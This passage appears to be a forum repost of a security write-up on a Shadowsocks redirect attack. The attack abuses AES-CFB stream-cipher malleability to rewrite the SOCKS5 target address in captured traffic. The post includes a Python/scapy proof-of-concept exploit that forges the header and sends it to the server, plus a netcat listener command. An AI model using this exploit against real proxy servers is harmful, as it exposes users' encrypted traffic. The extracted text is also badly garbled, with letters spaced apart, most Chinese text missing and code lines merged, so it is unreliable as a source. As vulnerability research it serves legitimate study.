[21100] 2020-06-22_Shadowsocks重定向攻击分析

文档创建者:s7ckTeam
浏览次数:0
最后更新:2025-01-18
2020-06-22_Shadowsocks重定向攻击分析 S h a d o w s o c k s   Z h i z h i a n g   P e n g   L e m o n S e c   2 0 2 0 - 0 6 - 2 2     3 6 0   Z h i z h i a n g   P e n g 0 x 0 0           S h a d o w s o c k s , S o c k s 5 . 广 使 .   3 6 0   Z h i z h i a n g   P e n g s h a d o w s o c k s , s h a d o w s o c k s . 使 s h a d o w s o c k s . , , . 0 x 0 1 : s h a d o w s o c k s - p y s h a d o w s o c o k s - g o s h a d o w s o c o k s - n o d e j s 0 x 0 2 : 使 使 s h a d o w s o c k s - l i b e v g o - s h a d o w s o c k s 2 使 A E A D 0 x 0 3 : s h a d o w s o c k s         S h a d o w s o c k s ( s s - l o c a l ) S O C K S 5 . S h a d o w s o c k s ( s s - r e m o t e ) , .   R e p l i e s   s s - r e m o t e s s l o c a l ,   . 0 x 0 4 :         使   s o c k s 5 ,   s s l o c a l , s s l o c a l     s s s e r v e r , s s s e r v e r   , 访 , , s s l o c a l   .         , , . s s l o c a l             t c p R e l a y . p y   , T C P R e l a y H a n d l e r   ,   E n c r y p t o r . E n c r y p t o r   , 使   c o n f i g   P A S S ,   k e y , 使 ,   r a n d _ i v , 使 . 使               使 s o c k s 5   , 访   a . b a i d u . c o m . <   -   -   -   >   s s - l o c a l   < ( ) >   s s - r e m o t e   <   -   -   -   > c u r l   - - s o c k s 5   1 2 7 . 0 . 0 . 1 : 1 0 8 0   h t t p : / / a . b a i d u . c o m
          t c p R e l a y . p y , _ h a n d l e _ s t a g e _ a d d r s o c k s 5   , , 使   A E S . u p d a t e ( s o c k s 5 H e a d e r )             t c p R e l a y . p y   , _ h a n d l e _ s t a g e _ c o n n e c t i n g     H T T P   , 使   A E S . u p d a t e ( h t t p R e q u e s t )               t c p R e l a y . p y   , _ o n _ r e m o t e _ r e a d     s s s e r v e r   ,   1 6   s e r v e r     r a n d _ i v 2 , , .   r a n d _ i v r a n d _ i v 2 , k e y , r e q u e s t     r e s p o n s e . 0 x 0 5 : I P         使 s o c k s 5 , 访 a . b a i d u . c o m I P , , h t t p R e s p o n s e ( ) . s s s e r v e r , p y t h o n 3   m y s e r v e r . p y s s l o c a l , p y t h o n 3   m y c l i e n t . p y w i r e s h a r k , 使 c u r l c u r l   - - s o c k s 5   1 2 7 . 0 . 0 . 1 : 1 0 8 0   h t t p : / / a . b a i d u . c o m ,   O K , s s _ i p _ d i r e c t . p c a p n g   1 2 7 . 0 . 0 . 1 : 1 0 8 3 s s _ i p _ d i r e c t . p c a p n g , , b a i d u I P 1 2 7 . 0 . 0 . 1 : 1 0 8 3 1 0 8 1             1 0 8 1 , 1 2 7 . 0 . 0 . 1 : 1 0 8 3 ( I P )         s s s e r v e r 1 2 7 . 0 . 0 . 1 : 1 0 8 3 , _ c r e a t e _ r e m o t e _ s o c k e t I P 便 , , d a t a   =   s o c k 5 H e a d e r   +   h t t p R e q u e s t r a n d _ i v   +   A E S - c f b ( k e y ,   r a n d _ i v ,   d a t a ) s s s e r v e r s s s e r v e r   s s l o c a l h t t p R e s p o n s e   =   A E S - c f b ( k e y ,   r a n d _ i v 2 ,   r e c v _ d a t a )         i f   s e l f . _ f o r b i d d e n _ i p l i s t :                 i f   c o m m o n . t o _ s t r ( s a [ 0 ] )   i n   s e l f . _ f o r b i d d e n _ i p l i s t :                         r a i s e   E x c e p t i o n ( ' I P   % s   i s   i n   f o r b i d d e n   l i s t ,   r e j e c t '   %                                 c o m m o n . t o _ s t r ( s a [ 0 ] ) ) p y t h o n 3   m y s e r v e r . p y   s s s e r v e r n c   - l k   1 0 8 3   1 0 8 3 p y t h o n 3   i p _ d i r e c t _ a t t a c k . p y   , , s s s e r v e r
1 0 8 3 , 访 访         使 s o c k s 5 , 访 a . b a i d u . c o m , , h t t p R e q u e s t ( ) . s s s e r v e r , p y t h o n 3   m y s e r v e r . p y ; s s l o c a l , p y t h o n 3   m y c l i e n t . p y ; w i r e s h a r k , 使 S a f a r i ,   O K ,   s s _ d o m a i n . p c a p n g 1 2 7 . 0 . 0 . 1 : 1 0 8 3 , a . b a i d u . a b c , ; ( , )         s s _ d o m a i n . p c a p n g , , a . b a i d u . c o m 线 a . b a i d u . a b c , 1 0 8 1         1 0 8 1 , a . b a i d u . a b c : 1 0 8 3 ( )   s s s e r v e r 1 2 7 . 0 . 0 . 1 : 1 0 8 3 , _ c r e a t e _ r e m o t e _ s o c k e t I P 便 , , 1 0 8 3 , 1 2 7 . 0 . 0 . 1   a . b a i d u . a b c   p y t h o n 3   m y s e r v e r . p y   s s s e r v e r n c   - l k   1 0 8 3   1 0 8 3 p y t h o n 3   d o m a i n _ a t t a c k . p y   , , s s s e r v e r # i p _ d i r e c t _ a t t a c k . p y f r o m   s c a p y . p a c k e t   i m p o r t   R a w f r o m   s c a p y . a l l   i m p o r t   r d p c a p i m p o r t   s o c k e t i m p o r t   s t r u c t
0 x 0 6 : R e f e r e r : h t t p s : / / w w w . l e a d r o y a l . c n / ? p = 1 0 3 6 h t t p s : / / g i t h u b . c o m / L e a d r o y a L / s s - r e d i r e c t - v u l n - e x p h t t p s : / / g i t h u b . c o m / e d w a r d z 2 4 6 0 0 3 / s h a d o w s o c k s i m p o r t   s t r u c t i m p o r t   t i m e p a c k e t s   =   r d p c a p ( " s s _ i p _ d i r e c t . p c a p n g " ) p k g _ s e n d ,   p k g _ r e c v   =   N o n e ,   N o n e f o r   p   i n   p a c k e t s :         i f   p [ ' T C P ' ]   a n d   p [ ' T C P ' ] . d p o r t   = =   1 0 8 1   a n d   i s i n s t a n c e ( p [ ' T C P ' ] . p a y l o a d ,   R a w ) :                 p k g _ s e n d   =   p         i f   p [ ' T C P ' ]   a n d   p [ ' T C P ' ] . s p o r t   = =   1 0 8 1   a n d   i s i n s t a n c e ( p [ ' T C P ' ] . p a y l o a d ,   R a w ) :                 p k g _ r e c v   =   p s e n d _ i v ,   s e n d _ d a t a   =   p k g _ s e n d [ ' T C P ' ] . p a y l o a d . l o a d [ : 1 6 ] ,   p k g _ s e n d [ ' T C P ' ] . p a y l o a d . l o a d [ 1 6 : ] r e c v _ i v ,   r e c v _ d a t a   =   p k g _ r e c v [ ' T C P ' ] . p a y l o a d . l o a d [ : 1 6 ] ,   p k g _ r e c v [ ' T C P ' ] . p a y l o a d . l o a d [ 1 6 : ] p r e d i c t _ d a t a   =   b " H T T P / 1 . 1 " p r e d i c t _ x o r _ k e y   =   b y t e s ( [ ( p r e d i c t _ d a t a [ i ]   ^   r e c v _ d a t a [ i ] )   f o r   i   i n   r a n g e ( l e n ( p r e d i c t _ d a t a ) ) ] ) t a r g e t _ i p   =   " 1 2 7 . 0 . 0 . 1 " t a r g e t _ p o r t   =   1 0 8 3 f a k e _ h e a d e r   =   b ' x 0 1 '   +   s o c k e t . i n e t _ p t o n ( s o c k e t . A F _ I N E T ,   t a r g e t _ i p )   +   b y t e s ( s t r u c t . p a c k ( ' > H ' ,   t a r g e t _ p o r t ) ) f a k e _ h e a d e r   =   b y t e s ( [ ( f a k e _ h e a d e r [ i ]   ^   p r e d i c t _ x o r _ k e y [ i ] )   f o r   i   i n   r a n g e ( l e n ( f a k e _ h e a d e r ) ) ] ) f a k e _ d a t a   =   r e c v _ i v   +   f a k e _ h e a d e r   +   r e c v _ d a t a [ l e n ( f a k e _ h e a d e r ) : ] p r i n t ( f a k e _ d a t a . h e x ( ) ) s   =   s o c k e t . s o c k e t ( ) s . c o n n e c t ( ( " 1 2 7 . 0 . 0 . 1 " ,   1 0 8 1 ) ) s . s e n d ( f a k e _ d a t a ) p r i n t ( ' T c p   s e n d i n g . . .   ' ) t i m e . s l e e p ( 3 ) s . c l o s e ( )
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则